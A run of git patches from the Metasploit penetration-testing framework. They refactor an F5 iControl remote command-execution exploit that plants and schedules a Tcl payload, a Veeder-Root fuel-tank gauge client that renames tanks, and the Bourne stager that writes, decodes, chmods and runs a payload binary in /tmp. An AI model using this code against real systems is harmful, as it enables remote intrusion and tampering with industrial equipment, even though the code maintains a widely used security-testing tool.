payloads bigger than the target's configured ARG_MAX value may fail to execute)" + print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\ + "or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)" return false end - scriptname = Rex::Text.rand_text_alpha_lower(5) print_status('Uploading payload...') - script = create_script(cmd) - unless script + unless (script = create_script(cmd)) print_error("Upload script failed") return false end @@ -312,13 +294,12 @@ class Metasploit3 < Msf::Exploit::Remote end print_status('Wait until payload is executed...') - sleep(interval+2) # small delay, just to make sure + sleep(interval) # small delay, just to make sure print_status('Trying cleanup...') - unless delete_handler(handler) && delete_script(script) - print_error('Error while cleaning up') - else + if delete_handler(handler) && delete_script(script) print_status('Cleanup finished with no errors') + else + print_error('Error while cleaning up') end - end end From e58e17450a54e9eb347ca8dc108128c2279a9f31 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 11:36:56 -0800 Subject: [PATCH 1201/2172] Simplify XML building --- modules/exploits/linux/http/f5_icall_cmd.rb | 172 ++++++++------------ 1 file changed, 72 insertions(+), 100 deletions(-) diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb index 329975f261..84444642ed 100644 --- a/modules/exploits/linux/http/f5_icall_cmd.rb +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -60,6 +60,19 @@ class Metasploit3 < Msf::Exploit::Remote ]) end + def build_xml + builder = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + yield xml + end + end + end + builder.to_xml + end + def xml_add_namespaces(xml) ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/") xml.doc.root.namespace = ns @@ -96,121 +109,85 @@ class Metasploit3 < Msf::Exploit::Remote # cmd is valid tcl script def create_script(cmd) scriptname = Rex::Text.rand_text_alpha_lower(5) - builder = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header - xml['soapenv'].Body do - xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.scripts(string_attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname - end - xml.definitions(string_attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item cmd - end - end + create_xml = build_xml do |xml| + xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.scripts(string_attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item scriptname + end + xml.definitions(string_attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item cmd end end end - send_soap_request(builder.to_xml) ? scriptname : false + send_soap_request(create_xml) ? scriptname : false end def delete_script(scriptname) - builder = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header - xml['soapenv'].Body do - xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.scripts(string_attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname - end - end + delete_xml = build_xml do |xml| + xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.scripts(string_attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item scriptname end end end - send_soap_request(builder.to_xml) + send_soap_request(delete_xml) end def script_exists(scriptname) - builder = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header - xml['soapenv'].Body do - xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") - end - end + exists_xml = build_xml do |xml| + xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") end - res = send_soap_request(builder.to_xml) + res = send_soap_request(exists_xml) res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}") end def create_handler(scriptname, interval) handler_name = Rex::Text.rand_text_alpha_lower(5) - builder = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header - xml['soapenv'].Body do - xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.handlers(string_attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item handler_name - end - xml.scripts(string_attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item scriptname - end - long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' } - xml.intervals(long_attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item interval - end - end + handler_xml = build_xml do |xml| + xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.handlers(string_attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item handler_name + end + xml.scripts(string_attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item scriptname + end + long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' } + xml.intervals(long_attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item interval end end end - send_soap_request(builder.to_xml) ? handler_name : false + send_soap_request(handler_xml) ? handler_name : false end def delete_handler(handler_name) - builder = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header - xml['soapenv'].Body do - xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.handlers(attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item handler_name - end - end + delete_xml = build_xml do |xml| + xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.handlers(attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item handler_name end end end - send_soap_request(builder.to_xml) + send_soap_request(delete_xml) end def handler_exists(handler_name) - builder = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header - xml['soapenv'].Body do - xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") - end - end + handler_xml = build_xml do |xml| + xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") end - res = send_soap_request(builder.to_xml) + res = send_soap_request(handler_xml) res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}") end @@ -220,29 +197,24 @@ class Metasploit3 < Msf::Exploit::Remote # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'. # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable # any other response is considered not vulnerable - builder = Nokogiri::XML::Builder.new do |xml| - xml.Envelope do - xml = xml_add_namespaces(xml) - xml['soapenv'].Header - xml['soapenv'].Body do - xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do - attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } - xml.scripts(attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item "" - end - xml.definitions(attrs) do - xml.parent.namespace = xml.parent.parent.namespace_definitions.first - xml.item "" - end - end + check_xml = build_xml do |xml| + xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' } + xml.scripts(attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item + end + xml.definitions(attrs) do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item end end end + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', - 'data' => builder.to_xml, + 'data' => check_xml, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] ) From 38ca94321986f53cecf7e175cfd850ef2a7d0822 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 11:49:50 -0800 Subject: [PATCH 1202/2172] Remove unneeded width arg --- modules/post/multi/general/wall.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/general/wall.rb b/modules/post/multi/general/wall.rb index 6cf7fb958a..563ccfe3c3 100644 --- a/modules/post/multi/general/wall.rb +++ b/modules/post/multi/general/wall.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Post text = datastore['MESSAGE'] end - datastore['COWSAY'] ? Rex::Text.cowsay(text, 100) : text + datastore['COWSAY'] ? Rex::Text.cowsay(text) : text end def run From 196a88c39a429e66779397eb4941dac0cbb13184 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 12:06:00 -0800 Subject: [PATCH 1203/2172] Style nit --- modules/auxiliary/admin/atg/client.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 08d60d0c45..0ac997200d 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary { 'Description' => 'S50100 Set time of day (use TIME option) (untested)', # disabled, unsure how this works just yet - #'TLS-350_CMD' => "\x01S50100" + # 'TLS-350_CMD' => "\x01S50100" } ], [ 'STATUS', @@ -158,16 +158,14 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TANK_NUMBER', [false, 'The tank number to operate on (use with SET_TANK_NAME, 0 to change all)', 1]), OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME, defaults to random)']), OptString.new('TIME', [false, "The time to set (use with SET_TIME, defaults to Time.now (~#{Time.now.inspect})"]) - ], - self.class + ] ) deregister_options('SSL', 'SSLCipher', 'SSLVerifyMode', 'SSLVersion') register_advanced_options( [ OptEnum.new('PROTOCOL', [true, 'The Veeder-Root TLS protocol to speak', 'TLS-350', %w(TLS-350 TLS-250)]) - ], - self.class + ] ) end From 6e9afc38eec5baff97f739c599fcc2cbe9ad10dd Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 12:12:37 -0800 Subject: [PATCH 1204/2172] print_good when we get something --- modules/auxiliary/admin/atg/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 0ac997200d..2774870d67 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -234,7 +234,7 @@ class Metasploit3 < Msf::Auxiliary else request = "#{action.opts[protocol + '_CMD']}\n" sock.put(request) - print_status("#{peer} #{protocol} #{action.opts['Description']}:\n#{sock.get_once}") + print_good("#{peer} #{protocol} #{action.opts['Description']}:\n#{sock.get_once}") end ensure disconnect From 045bab052e64d3b137fb2cfe1e42e9c54521a6d9 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 12:18:40 -0800 Subject: [PATCH 1205/2172] Add configurable timeout --- modules/auxiliary/admin/atg/client.rb | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 2774870d67..f50adde597 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -164,7 +164,8 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ - OptEnum.new('PROTOCOL', [true, 'The Veeder-Root TLS protocol to speak', 'TLS-350', %w(TLS-350 TLS-250)]) + OptEnum.new('PROTOCOL', [true, 'The Veeder-Root TLS protocol to speak', 'TLS-350', %w(TLS-350 TLS-250)]), + OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for responses to our probes', 5]) ] ) end @@ -176,6 +177,18 @@ class Metasploit3 < Msf::Auxiliary # ensure that the tank number is set for the commands that need it fail "TANK_NUMBER #{tank_number} is invalid" if action.name == 'SET_TANK_NAME' && (tank_number < 0 || tank_number > 99) + + fail "Invalid timeout #{timeout} -- must be > 0" unless timeout > 0 + end + + def get_response(request) + sock.put(request) + response = sock.get_once(-1, timeout) + response + end + + def peer + "#{rhost}:#{rport}" end def protocol @@ -198,8 +211,8 @@ class Metasploit3 < Msf::Auxiliary end end - def peer - "#{rhost}:#{rport}" + def timeout + datastore['TIMEOUT'] end def run_host(_host) @@ -220,8 +233,7 @@ class Metasploit3 < Msf::Auxiliary connect # send an inventory probe to show that it succeeded inventory_probe = "#{actions.find { |a| a.name == 'INVENTORY' }.opts[protocol + '_CMD']}\n" - sock.put(inventory_probe) - inventory_response = sock.get_once # XXX: timeout? + inventory_response = get_response(inventory_probe) message = "#{peer} #{protocol} #{action.opts['Description']}:\n#{inventory_response}" if inventory_response.include?(tank_name) print_good message @@ -233,8 +245,8 @@ class Metasploit3 < Msf::Auxiliary sock.put(request) else request = "#{action.opts[protocol + '_CMD']}\n" - sock.put(request) - print_good("#{peer} #{protocol} #{action.opts['Description']}:\n#{sock.get_once}") + response = get_response(request) + print_good("#{peer} #{protocol} #{action.opts['Description']}:\n#{response}") end ensure disconnect From ad22eb844408ea22163b37e5680f0bb619162544 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 12:24:28 -0800 Subject: [PATCH 1206/2172] More cleanup --- modules/auxiliary/admin/atg/client.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index f50adde597..4a9b5654a1 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -172,8 +172,7 @@ class Metasploit3 < Msf::Auxiliary def setup # ensure that the specified command is implemented for the desired version of the TLS protocol - proto_cmd = protocol + "_CMD" - fail "#{action.name} not defined for #{protocol}" unless action.opts.keys.include?(proto_cmd) + fail "#{action.name} not defined for #{protocol}" unless action.opts.keys.include?(protocol_opt_name) # ensure that the tank number is set for the commands that need it fail "TANK_NUMBER #{tank_number} is invalid" if action.name == 'SET_TANK_NAME' && (tank_number < 0 || tank_number > 99) @@ -195,6 +194,10 @@ class Metasploit3 < Msf::Auxiliary datastore['PROTOCOL'] end + def protocol_opt_name + protocol + '_CMD' + end + def tank_name @tank_name ||= (datastore['TANK_NAME'] ? datastore['TANK_NAME'] : Rex::Text.rand_text_alpha(16)) end @@ -226,13 +229,13 @@ class Metasploit3 < Msf::Auxiliary else vprint_status("#{peer} -- setting tank ##{tank_number}'s name to #{tank_name}") end - request = "#{action.opts[protocol + '_CMD']}#{format('%02d', tank_number)}#{tank_name}\n" + request = "#{action.opts[protocol_opt_name]}#{format('%02d', tank_number)}#{tank_name}\n" sock.put(request) # reconnect disconnect connect # send an inventory probe to show that it succeeded - inventory_probe = "#{actions.find { |a| a.name == 'INVENTORY' }.opts[protocol + '_CMD']}\n" + inventory_probe = "#{actions.find { |a| a.name == 'INVENTORY' }.opts[protocol_opt_name]}\n" inventory_response = get_response(inventory_probe) message = "#{peer} #{protocol} #{action.opts['Description']}:\n#{inventory_response}" if inventory_response.include?(tank_name) @@ -241,11 +244,9 @@ class Metasploit3 < Msf::Auxiliary print_warning message end when 'SET_TIME' - request = "#{action.opts[protocol + '_CMD']}#{Time.now.to_i}\n" - sock.put(request) + response = get_response("#{action.opts[protocol_opt_name]}#{Time.now.to_i}\n") else - request = "#{action.opts[protocol + '_CMD']}\n" - response = get_response(request) + response = get_response("#{action.opts[protocol_opt_name]}\n") print_good("#{peer} #{protocol} #{action.opts['Description']}:\n#{response}") end ensure From ab3ae675ffccf8f3b06ca78604de615ac318c039 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 12:26:42 -0800 Subject: [PATCH 1207/2172] Hide TIME option since SET_TIME is not implemented --- modules/auxiliary/admin/atg/client.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 4a9b5654a1..6d802c04a2 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -156,8 +156,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(10001), OptInt.new('TANK_NUMBER', [false, 'The tank number to operate on (use with SET_TANK_NAME, 0 to change all)', 1]), - OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME, defaults to random)']), - OptString.new('TIME', [false, "The time to set (use with SET_TIME, defaults to Time.now (~#{Time.now.inspect})"]) + OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME, defaults to random)']) ] ) deregister_options('SSL', 'SSLCipher', 'SSLVerifyMode', 'SSLVersion') @@ -165,6 +164,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptEnum.new('PROTOCOL', [true, 'The Veeder-Root TLS protocol to speak', 'TLS-350', %w(TLS-350 TLS-250)]), + OptString.new('TIME', [false, "The time to set (use with SET_TIME, defaults to Time.now (~#{Time.now.inspect})"]), OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for responses to our probes', 5]) ] ) From c914c7b22c3ec94de12f614ac1d80c4d567707a3 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 13 Nov 2015 12:28:23 -0800 Subject: [PATCH 1208/2172] Completely remove SET_TIME --- modules/auxiliary/admin/atg/client.rb | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 6d802c04a2..18e5334c6d 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -111,13 +111,12 @@ class Metasploit3 < Msf::Auxiliary 'TLS-350_CMD' => "\x01S602" } ], - [ 'SET_TIME', - { - 'Description' => 'S50100 Set time of day (use TIME option) (untested)', - # disabled, unsure how this works just yet - # 'TLS-350_CMD' => "\x01S50100" - } - ], + # [ 'SET_TIME', + # { + # 'Description' => 'S50100 Set time of day (use TIME option) (untested)', + # 'TLS-350_CMD' => "\x01S50100" + # } + # ], [ 'STATUS', { 'Description' => 'I20500 In-tank status report', @@ -164,7 +163,6 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptEnum.new('PROTOCOL', [true, 'The Veeder-Root TLS protocol to speak', 'TLS-350', %w(TLS-350 TLS-250)]), - OptString.new('TIME', [false, "The time to set (use with SET_TIME, defaults to Time.now (~#{Time.now.inspect})"]), OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for responses to our probes', 5]) ] ) @@ -243,8 +241,6 @@ class Metasploit3 < Msf::Auxiliary else print_warning message end - when 'SET_TIME' - response = get_response("#{action.opts[protocol_opt_name]}#{Time.now.to_i}\n") else response = get_response("#{action.opts[protocol_opt_name]}\n") print_good("#{peer} #{protocol} #{action.opts['Description']}:\n#{response}") From f172e5298aa24a63c6fcd9cf1bb0206bd6b9be74 Mon Sep 17 00:00:00 2001 From: jww519 <jww519@users.noreply.github.com> Date: Sat, 14 Nov 2015 13:24:01 -0500 Subject: [PATCH 1209/2172] Update android_stock_browser_iframe_dos.rb --- modules/auxiliary/gather/android_stock_browser_iframe_dos.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb b/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb index a98c676283..2d3388aa5e 100644 --- a/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb +++ b/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Jonathan Waggoner' # Metasploit module ], 'References' => [ - [ 'URL', 'http://packetstormsecurity.com/files/118539/Android-4.0.3-Browser-Crash.html'], + [ 'PACKETSTORM', 'http://packetstormsecurity.com/files/118539/Android-4.0.3-Browser-Crash.html'], [ 'CVE', '2012-6301' ] ], 'Platform' => 'android', @@ -55,7 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote </body> </html> | - print_status(msg = 'Getting ready to send HTML to client') send_response(cli, html) print_status(msg = 'Sent HTML to client') From e3f25fd6e22e87994e2b7c2695365f3f8df9c41c Mon Sep 17 00:00:00 2001 From: PsychoMario <pink.banana.fish@gmail.com> Date: Sat, 14 Nov 2015 18:31:11 +0000 Subject: [PATCH 1210/2172] Add support for specifying path, file in bourne dropper --- lib/rex/exploitation/cmdstager/bourne.rb | 22 +++++++++++-------- .../post/multi/manage/shell_to_meterpreter.rb | 8 ++++++- 2 files changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb index 0e8d4b9446..180003eb0c 100644 --- a/lib/rex/exploitation/cmdstager/bourne.rb +++ b/lib/rex/exploitation/cmdstager/bourne.rb @@ -12,14 +12,18 @@ class CmdStagerBourne < CmdStagerBase def initialize(exe) super - @var_encoded = Rex::Text.rand_text_alpha(5) - @var_decoded = Rex::Text.rand_text_alpha(5) + @var_encoded = Rex::Text.rand_text_alpha(5) + '.b64' + @var_decoded = Rex::Text.rand_text_alpha(5) + '.bin' end def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' opts[:temp] = opts[:temp].gsub(/'/, "\\\\'") opts[:temp] = opts[:temp].gsub(/ /, "\\ ") + if (opts[:file]) + @var_encoded = opts[:file] + '.b64' + @var_decoded = opts[:file] + end super end @@ -29,7 +33,7 @@ class CmdStagerBourne < CmdStagerBase def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo -n " - @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" + @cmd_end = ">>#{@tempdir}#{@var_encoded}" xtra_len = @cmd_start.length + @cmd_end.length + 1 opts.merge!({ :extra => xtra_len }) super @@ -78,27 +82,27 @@ class CmdStagerBourne < CmdStagerBase decoder_cmd << "(which #{binary} >&2 && #{cmd})" end decoder_cmd = decoder_cmd.join(" || ") - decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin < #{@tempdir}#{@var_encoded}.b64" + decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded} < #{@tempdir}#{@var_encoded}" [ decoder_cmd ] end def compress_commands(cmds, opts) # Make it all happen - cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin" + cmds << "chmod +x #{@tempdir}#{@var_decoded}" # Background the process, allowing the cleanup code to continue and delete the data # while allowing the original shell to continue to function since it isn't waiting # on the payload to exit. The 'sleep' is required as '&' is a command terminator # and having & and the cmds delimiter ';' next to each other is invalid. if opts[:background] - cmds << "#{@tempdir}#{@var_decoded}.bin & sleep 2" + cmds << "#{@tempdir}#{@var_decoded} & sleep 2" else - cmds << "#{@tempdir}#{@var_decoded}.bin" + cmds << "#{@tempdir}#{@var_decoded}" end # Clean up after unless requested not to.. if (not opts[:nodelete]) - cmds << "rm -f #{@tempdir}#{@var_decoded}.bin" - cmds << "rm -f #{@tempdir}#{@var_encoded}.b64" + cmds << "rm -f #{@tempdir}#{@var_decoded}" + cmds << "rm -f #{@tempdir}#{@var_encoded}" end super diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index e115c35829..9f34c3a376 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -41,7 +41,11 @@ class Metasploit3 < Msf::Post OptEnum.new('WIN_TRANSFER', [true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]), OptString.new('PAYLOAD_OVERRIDE', - [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]) + [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]), + OptString.new('BOURNE_PATH', + [false, 'Remote path to drop binary', nil]), + OptString.new('BOURNE_FILE', + [false, 'Remote filename to use for dropped binary', nil]) ], self.class) deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') end @@ -193,6 +197,8 @@ class Metasploit3 < Msf::Post cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) else opts[:background] = true + opts[:temp] = datastore['BOURNE_PATH'] + opts[:file] = datastore['BOURNE_FILE'] cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe) # Note: if a OS X binary payload is added in the future, use CmdStagerPrintf # as /bin/sh on OS X doesn't support the -n option on echo From fb14722ecb58ddb8860697bd8c379a83b627a198 Mon Sep 17 00:00:00 2001 From: jww519 <jww519@users.noreply.github.com> Date: Sat, 14 Nov 2015 13:51:18 -0500 Subject: [PATCH 1211/2172] Update android_stock_browser_iframe_dos.rb Update Packetstorm reference --- modules/auxiliary/gather/android_stock_browser_iframe_dos.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb b/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb index 2d3388aa5e..b8b0db762a 100644 --- a/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb +++ b/modules/auxiliary/gather/android_stock_browser_iframe_dos.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Jonathan Waggoner' # Metasploit module ], 'References' => [ - [ 'PACKETSTORM', 'http://packetstormsecurity.com/files/118539/Android-4.0.3-Browser-Crash.html'], + [ 'PACKETSTORM', '118539'], [ 'CVE', '2012-6301' ] ], 'Platform' => 'android', From 2b99969f9a695a996baff42acca2d1f5c5dd8473 Mon Sep 17 00:00:00 2001 From: PsychoMario <pink.banana.fish@gmail.com> Date: Sun, 15 Nov 2015 00:14:30 +0000 Subject: [PATCH 1212/2172] quote paths to allow spaces --- lib/rex/exploitation/cmdstager/bourne.rb | 14 +++++++------- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb index 180003eb0c..69969f85af 100644 --- a/lib/rex/exploitation/cmdstager/bourne.rb +++ b/lib/rex/exploitation/cmdstager/bourne.rb @@ -33,7 +33,7 @@ class CmdStagerBourne < CmdStagerBase def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo -n " - @cmd_end = ">>#{@tempdir}#{@var_encoded}" + @cmd_end = ">>\"#{@tempdir}#{@var_encoded}\"" xtra_len = @cmd_start.length + @cmd_end.length + 1 opts.merge!({ :extra => xtra_len }) super @@ -82,27 +82,27 @@ class CmdStagerBourne < CmdStagerBase decoder_cmd << "(which #{binary} >&2 && #{cmd})" end decoder_cmd = decoder_cmd.join(" || ") - decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded} < #{@tempdir}#{@var_encoded}" + decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > \"#{@tempdir}#{@var_decoded}\" < \"#{@tempdir}#{@var_encoded}\"" [ decoder_cmd ] end def compress_commands(cmds, opts) # Make it all happen - cmds << "chmod +x #{@tempdir}#{@var_decoded}" + cmds << "chmod +x \"#{@tempdir}#{@var_decoded}\"" # Background the process, allowing the cleanup code to continue and delete the data # while allowing the original shell to continue to function since it isn't waiting # on the payload to exit. The 'sleep' is required as '&' is a command terminator # and having & and the cmds delimiter ';' next to each other is invalid. if opts[:background] - cmds << "#{@tempdir}#{@var_decoded} & sleep 2" + cmds << "\"#{@tempdir}#{@var_decoded}\" & sleep 2" else - cmds << "#{@tempdir}#{@var_decoded}" + cmds << "\"#{@tempdir}#{@var_decoded}\"" end # Clean up after unless requested not to.. 